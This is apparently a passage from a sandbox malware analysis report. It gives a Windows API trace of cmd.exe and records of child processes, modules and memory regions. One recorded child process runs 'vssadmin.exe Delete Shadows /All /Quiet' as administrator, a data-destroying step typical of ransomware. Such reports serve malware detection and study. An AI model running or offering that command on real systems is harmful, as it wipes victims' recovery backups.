[0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x0, lpData=0xa1fedec40*=0x1, lpcbData=0xa1fedec24*=0x1000) returned 0x2 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x4, lpData=0xa1fedec40*=0x0, lpcbData=0xa1fedec24*=0x4) returned 0x0 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x4, lpData=0xa1fedec40*=0x9, lpcbData=0xa1fedec24*=0x4) returned 0x0 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x4, lpData=0xa1fedec40*=0x9, lpcbData=0xa1fedec24*=0x4) returned 0x0 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="AutoRun", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x0, lpData=0xa1fedec40*=0x9, lpcbData=0xa1fedec24*=0x1000) returned 0x2 [0030.954] RegCloseKey (hKey=0x30) returned 0x0 [0030.954] time (in: timer=0x0 | out: timer=0x0) returned 0x5989d262 [0030.954] srand (_Seed=0x5989d262) [0030.954] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 4180649\"" [0030.954] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 4180649\"" [0030.954] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.954] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xa200f6730, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0030.954] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0030.954] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0030.954] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0030.954] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.954] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0030.954] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0030.954] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0030.954] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0030.954] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0030.954] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0030.955] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0030.955] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0030.955] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0030.955] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xa1fedfa30 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.955] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", nBufferLength=0x104, lpBuffer=0xa1fedfa30, lpFilePart=0xa1fedfa10 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFilePart=0xa1fedfa10*="Desktop") returned 0x1c [0030.955] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0030.955] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xa1fedf740 | out: lpFindFileData=0xa1fedf740) returned 0xa200f69a0 [0030.955] FindClose (in: hFindFile=0xa200f69a0 | out: hFindFile=0xa200f69a0) returned 1 [0030.955] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp", lpFindFileData=0xa1fedf740 | out: lpFindFileData=0xa1fedf740) returned 0xa200f69a0 [0030.955] FindClose (in: hFindFile=0xa200f69a0 | out: hFindFile=0xa200f69a0) returned 1 [0030.955] _wcsnicmp (_String1="5JGHKO~1", _String2="5JgHKoaOfdp", _MaxCount=0xb) returned 29 [0030.955] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFindFileData=0xa1fedf740 | out: lpFindFileData=0xa1fedf740) returned 0xa200f69a0 [0030.955] FindClose (in: hFindFile=0xa200f69a0 | out: hFindFile=0xa200f69a0) returned 1 [0030.956] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0030.956] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0030.956] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 1 [0030.956] GetEnvironmentStringsW () returned 0xa200f48f0* [0030.956] FreeEnvironmentStringsA (penv="=") returned 1 [0030.956] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.956] GetConsoleOutputCP () returned 0x1b5 [0030.986] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.986] GetUserDefaultLCID () returned 0x409 [0030.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff62317e680, cchData=8 | out: lpLCData=":") returned 2 [0030.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xa1fedfb60, cchData=128 | out: lpLCData="0") returned 2 [0030.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xa1fedfb60, cchData=128 | out: lpLCData="0") returned 2 [0030.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xa1fedfb60, cchData=128 | out: lpLCData="1") returned 2 [0030.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff62317e8b0, cchData=8 | out: lpLCData="/") returned 2 [0030.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff62317e8e0, cchData=32 | out: lpLCData="Mon") returned 4 [0030.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff62317e920, cchData=32 | out: lpLCData="Tue") returned 4 [0030.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff62317e960, cchData=32 | out: lpLCData="Wed") returned 4 [0030.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff62317e6a0, cchData=32 | out: lpLCData="Thu") returned 4 [0030.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff62317e6e0, cchData=32 | out: lpLCData="Fri") returned 4 [0030.986] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff62317e9a0, cchData=32 | out: lpLCData="Sat") returned 4 [0030.987] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff62317e9e0, cchData=32 | out: lpLCData="Sun") returned 4 [0030.987] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff62317e690, cchData=8 | out: lpLCData=".") returned 2 [0030.987] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff62317e8c0, cchData=8 | out: lpLCData=",") returned 2 [0030.987] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0030.987] GetConsoleTitleW (in: lpConsoleTitle=0xa200f49a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.987] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0030.987] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CopyFileExW") returned 0x7ffe2a65e954 [0030.987] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsDebuggerPresent") returned 0x7ffe2a6434dc [0030.987] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffe2a0836f8 [0030.988] _wcsicmp (_String1="title", _String2=")") returned 75 [0030.988] _wcsicmp (_String1="FOR", _String2="title") returned -14 [0030.988] _wcsicmp (_String1="FOR/?", _String2="title") returned -14 [0030.988] _wcsicmp (_String1="IF", _String2="title") returned -11 [0030.988] _wcsicmp (_String1="IF/?", _String2="title") returned -11 [0030.988] _wcsicmp (_String1="REM", _String2="title") returned -2 [0030.988] _wcsicmp (_String1="REM/?", _String2="title") returned -2 [0030.989] GetConsoleTitleW (in: lpConsoleTitle=0xa1fedfa50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.989] _wcsicmp (_String1="title", _String2="DIR") returned 16 [0030.989] _wcsicmp (_String1="title", _String2="ERASE") returned 15 [0030.989] _wcsicmp (_String1="title", _String2="DEL") returned 16 [0030.989] _wcsicmp (_String1="title", _String2="TYPE") returned -16 [0030.989] _wcsicmp (_String1="title", _String2="COPY") returned 17 [0030.989] _wcsicmp (_String1="title", _String2="CD") returned 17 [0030.989] _wcsicmp (_String1="title", _String2="CHDIR") returned 17 [0030.989] _wcsicmp (_String1="title", _String2="RENAME") returned 2 [0030.989] _wcsicmp (_String1="title", _String2="REN") returned 2 [0030.989] _wcsicmp (_String1="title", _String2="ECHO") returned 15 [0030.989] _wcsicmp (_String1="title", _String2="SET") returned 1 [0030.989] _wcsicmp (_String1="title", _String2="PAUSE") returned 4 [0030.989] _wcsicmp (_String1="title", _String2="DATE") returned 16 [0030.989] _wcsicmp (_String1="title", _String2="TIME") returned 7 [0030.989] _wcsicmp (_String1="title", _String2="PROMPT") returned 4 [0030.989] _wcsicmp (_String1="title", _String2="MD") returned 7 [0030.989] _wcsicmp (_String1="title", _String2="MKDIR") returned 7 [0030.989] _wcsicmp (_String1="title", _String2="RD") returned 2 [0030.989] _wcsicmp (_String1="title", _String2="RMDIR") returned 2 [0030.989] _wcsicmp (_String1="title", _String2="PATH") returned 4 [0030.989] _wcsicmp (_String1="title", _String2="GOTO") returned 13 [0030.989] _wcsicmp (_String1="title", _String2="SHIFT") returned 1 [0030.989] _wcsicmp (_String1="title", _String2="CLS") returned 17 [0030.989] _wcsicmp (_String1="title", _String2="CALL") returned 17 [0030.989] _wcsicmp (_String1="title", _String2="VERIFY") returned -2 [0030.989] _wcsicmp (_String1="title", _String2="VER") returned -2 [0030.989] _wcsicmp (_String1="title", _String2="VOL") returned -2 [0030.989] _wcsicmp (_String1="title", _String2="EXIT") returned 15 [0030.989] _wcsicmp (_String1="title", _String2="SETLOCAL") returned 1 [0030.989] _wcsicmp (_String1="title", _String2="ENDLOCAL") returned 15 [0030.989] _wcsicmp (_String1="title", _String2="TITLE") returned 0 [0030.990] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xa1fedf5a8 | out: TokenHandle=0xa1fedf5a8*=0x0) returned 0xc000007c [0030.990] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xa1fedf5a8 | out: TokenHandle=0xa1fedf5a8*=0x3c) returned 0x0 [0030.990] NtQueryInformationToken (in: TokenHandle=0x3c, TokenInformationClass=0x12, TokenInformation=0xa1fedf558, TokenInformationLength=0x4, ReturnLength=0xa1fedf560 | out: TokenInformation=0xa1fedf558, ReturnLength=0xa1fedf560) returned 0x0 [0030.990] NtQueryInformationToken (in: TokenHandle=0x3c, TokenInformationClass=0x1a, TokenInformation=0xa1fedf560, TokenInformationLength=0x4, ReturnLength=0xa1fedf558 | out: TokenInformation=0xa1fedf560, ReturnLength=0xa1fedf558) returned 0x0 [0030.990] NtClose (Handle=0x3c) returned 0x0 [0030.990] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xa1fedf570, nSize=0x0, Arguments=0xa1fedf578 | out: lpBuffer="仐‏\n") returned 0xf [0030.991] SetConsoleTitleW (lpConsoleTitle="Administrator: 4180649") returned 1 [0030.991] LocalFree (hMem=0xa200f4ed0) returned 0x0 [0030.991] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.991] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x0) returned 0 [0030.991] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.991] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 0 [0030.991] _get_osfhandle (_FileHandle=0) returned 0x18 [0030.991] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0030.992] SetConsoleInputExeNameW () returned 0x1 [0030.992] GetConsoleOutputCP () returned 0x1b5 [0030.992] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.992] SetThreadUILanguage (LangId=0x0) returned 0x409 [0030.992] exit (_Code=0) Process: id = "16" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x8514000" os_pid = "0x908" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x664" cmd_line = "vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1317 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1318 start_va = 0x75b99c0000 end_va = 0x75b99dffff entry_point = 0x0 region_type = private name = "private_0x00000075b99c0000" filename = "" Region: id = 1319 start_va = 0x75b99e0000 end_va = 0x75b99eefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000075b99e0000" filename = "" Region: id = 1320 start_va = 0x75b99f0000 end_va = 0x75b9a6ffff entry_point = 0x0 region_type = private name = "private_0x00000075b99f0000" filename = "" Region: id = 1321 start_va = 0x75b9a70000 end_va = 0x75b9a73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000075b9a70000" filename = "" Region: id = 1322 start_va = 0x75b9a80000 end_va = 0x75b9a80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000075b9a80000" filename = "" Region: id = 1323 start_va = 0x7ff607950000 end_va = 0x7ff607972fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff607950000" filename = "" Region: id = 1324 start_va = 0x7ff607976000 end_va = 0x7ff607976fff entry_point = 0x0 region_type = private name = "private_0x00007ff607976000" filename = "" Region: id = 1325 start_va = 0x7ff60797e000 end_va = 0x7ff60797ffff entry_point = 0x0 region_type = private name = "private_0x00007ff60797e000" filename = "" Region: id = 1326 start_va = 0x7ff608730000 end_va = 0x7ff608758fff entry_point = 0x7ff608730000 region_type = mapped_file name = "vssadmin.exe" filename = "\\Windows\\System32\\vssadmin.exe" (normalized: "c:\\windows\\system32\\vssadmin.exe") Region: id = 1327 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1328 start_va = 0x75b9a90000 end_va = 0x75b9a91fff entry_point = 0x0 region_type = private name = "private_0x00000075b9a90000" filename = "" Region: id = 1349 start_va = 0x75b9ab0000 end_va = 0x75b9baffff entry_point = 0x0 region_type = private name = "private_0x00000075b9ab0000" filename = "" Region: id = 1350 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1351 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1363 start_va = 0x75b99c0000 end_va = 0x75b99cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000075b99c0000" filename = "" Region: id = 1364 start_va = 0x75b99d0000 end_va = 0x75b99d6fff entry_point = 0x0 region_type = private name = "private_0x00000075b99d0000" filename = "" Region: id = 1365 start_va = 0x75b9aa0000 end_va = 0x75b9aa6fff entry_point = 0x0 region_type = private name = "private_0x00000075b9aa0000" filename = "" Region: id = 1366 start_va = 0x75b9bb0000 end_va = 0x75b9c2dfff entry_point = 0x75b9bb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1367 start_va = 0x75b9c30000 end_va = 0x75b9c32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000075b9c30000" filename = "" Region: id = 1368 start_va = 0x75b9c40000 end_va = 0x75b9c40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000075b9c40000" filename = "" Region: id = 1369 start_va = 0x75b9c50000 end_va = 0x75b9c5cfff entry_point = 0x75b9c50000 region_type = mapped_file name = "vssadmin.exe.mui" filename = "\\Windows\\System32\\en-US\\vssadmin.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssadmin.exe.mui") Region: id = 1370 start_va = 0x75b9c60000 end_va = 0x75b9c60fff entry_point = 0x0 region_type = private name = "private_0x00000075b9c60000" filename = "" Region: id = 1371 start_va = 0x75b9c70000 end_va = 0x75b9c70fff entry_point = 0x0 region_type = private name = "private_0x00000075b9c70000" filename = "" Region: id = 1372 start_va = 0x75b9c90000 end_va = 0x75b9c9ffff entry_point = 0x0 region_type = private name = "private_0x00000075b9c90000" filename = "" Region: id = 1373 start_va = 0x75b9ca0000 end_va = 0x75b9e27fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000075b9ca0000" filename = "" Region: id = 1374 start_va = 0x75b9e30000 end_va = 0x75b9fb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000075b9e30000" filename = "" Region: id = 1375 start_va = 0x75b9fc0000 end_va = 0x75bb3bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000075b9fc0000" filename = "" Region: id = 1376 start_va = 0x7ff607850000 end_va = 0x7ff60794ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff607850000" filename = "" Region: id = 1377 start_va = 0x7ffe21f20000 end_va = 0x7ffe21f35fff entry_point = 0x7ffe21f210a0 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1378 start_va = 0x7ffe21f40000 end_va = 0x7ffe220bffff entry_point = 0x7ffe21f41070 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1379 start_va = 0x7ffe25a80000 end_va = 0x7ffe25a99fff entry_point = 0x7ffe25a90f04 region_type = mapped_file name = "bcd.dll" filename = "\\Windows\\System32\\bcd.dll" (normalized: "c:\\windows\\system32\\bcd.dll") Region: id = 1380 start_va = 0x7ffe26530000 end_va = 0x7ffe2654afff entry_point = 0x7ffe26531498 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1381 start_va = 0x7ffe265d0000 end_va = 0x7ffe265d8fff entry_point = 0x7ffe265d102c region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1382 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1383 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1384 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1385 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1386 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1387 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1388 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1389 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1390 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c2110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1391 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1392 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1393 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1394 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1395 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1412 start_va = 0x75b9c80000 end_va = 0x75b9c80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000075b9c80000" filename = "" Region: id = 1413 start_va = 0x75bb3c0000 end_va = 0x75bb3c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000075bb3c0000" filename = "" Region: id = 1414 start_va = 0x75bb3d0000 end_va = 0x75bb6a4fff entry_point = 0x75bb3d0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1415 start_va = 0x75bb6b0000 end_va = 0x75bb72ffff entry_point = 0x0 region_type = private name = "private_0x00000075bb6b0000" filename = "" Region: id = 1416 start_va = 0x7ff60797c000 end_va = 0x7ff60797dfff entry_point = 0x0 region_type = private name = "private_0x00007ff60797c000" filename = "" Region: id = 1417 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1418 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1419 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1420 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1421 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1422 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1423 start_va = 0x7ffe2c120000 end_va = 0x7ffe2c1c3fff entry_point = 0x7ffe2c121170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1489 start_va = 0x75bb730000 end_va = 0x75bb7affff entry_point = 0x0 region_type = private name = "private_0x00000075bb730000" filename = "" Region: id = 1490 start_va = 0x75bb7b0000 end_va = 0x75bb82ffff entry_point = 0x0 region_type = private name = "private_0x00000075bb7b0000" filename = "" Region: id = 1491 start_va = 0x7ff607978000 end_va = 0x7ff607979fff entry_point = 0x0 region_type = private name = "private_0x00007ff607978000" filename = "" Region: id = 1492 start_va = 0x7ff60797a000 end_va = 0x7ff60797bfff entry_point = 0x0 region_type = private name = "private_0x00007ff60797a000" filename = "" Region: id = 1493 start_va = 0x7ffe255e0000 end_va = 0x7ffe255f4fff entry_point = 0x7ffe255e0000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Thread: id = 114 os_tid = 0x928 Thread: id = 117 os_tid = 0x2c8 Thread: id = 118 os_tid = 0x8e4 Thread: id = 119 os_tid = 0x60c Process: id = "17" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0xb781000" os_pid = "0x8a0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x5f4" cmd_line = "C:\\Windows\\system32\\cmd.exe /S /D /c\" title 8997147\"" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], 